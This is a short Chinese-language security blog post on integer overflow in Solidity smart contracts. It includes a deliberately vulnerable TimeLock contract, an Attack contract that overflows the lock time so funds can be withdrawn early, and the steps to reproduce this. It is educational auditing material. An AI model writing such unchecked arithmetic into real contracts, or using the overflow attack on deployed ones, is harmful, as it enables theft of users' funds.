智能合约审计-整数溢出
智能合约审计-整数溢出
简介#
其实就是数值超过了最大值,引起溢出,接着从0开始计算
有张图特别好
基础#
uint
也就是uint256
的缩写,最大值为2**256-1
uint8
-> 2**8-1
,其余的以此类推
超过最大值 1 -> 0超过最大值 2 -> 1超过最大值 3 -> 2以此类推
然后溢出也分为
加法溢出
减法溢出
乘法溢出
复现#
打断了,玩了俩星期 一点技术没学,不知道原来咋写的,我就直接复现分析吧
靠.. 重装了系统 代码也都没了
pragma solidity ^0.6.0; contract TimeLock{ mapping(address=>uint) public balances; mapping(address=>uint) public localTime; function deposit() public payable{ balances[msg.sender] += msg.value; // 增加余额 localTime[msg.sender] = now + 1 weeks; // 增加时间一周后 } function increaseLockTime(uint _secondsToIncrease) public{ localTime[msg.sender] += _secondsToIncrease; // 增加时间 溢出漏洞触发处 } function withdraw() public{ require(balances[msg.sender] > 0); // 判断有没有钱 require(now > localTime[msg.sender]); // 判断是否可以提钱 uint amount = balances[msg.sender]; // 获取余额 balances[msg.sender] = 0; // 余额归0 (bool sent, ) = msg.sender.call{value:amount}(""); // 转出去 require(sent); } } contract Attack{ TimeLock t1; constructor(TimeLock _timelock) public{ // 部署攻击合约时,需要把TimeLock的地址送进来 t1 = _timelock; } function sned() public payable{ t1.deposit{value:msg.value}(); // 发送余额 } function attack() public payable{ t1.increaseLockTime( uint(-t1.localTime(address(this))) // 获取时间戳 再减去 就溢出了 ); } function test() public{ t1.withdraw(); // } fallback() external payable{} }
哎呀呀 有点麻烦 放视频
https://youtu.be/1W6KzPxQKGw
也就是
先部署
TimeLock
合约然后部署
Attack
合约, 带上刚才部署合约的地址然后调用
Attack
合约的send
函数,进行转账,别忘了带上转的钱数调用
TimeLock
合约的balances
函数,查询Attack
地址的余额然后调用
Attack
合约的test
函数,其实就是尝试withdraw
函数看看能否转账成功,然后是异常的调用
Attack
合约的attack
函数,然后溢出提款限制时间接着调用
Attack
合约的test
函数,可以看出调用成功查询余额,调用
TimeLock
合约的balances
函数,查询Attack
地址的余额,可以发现已经变成0
作者:Muxueo
出处:https://www.cnblogs.com/secxue/p/14753607.html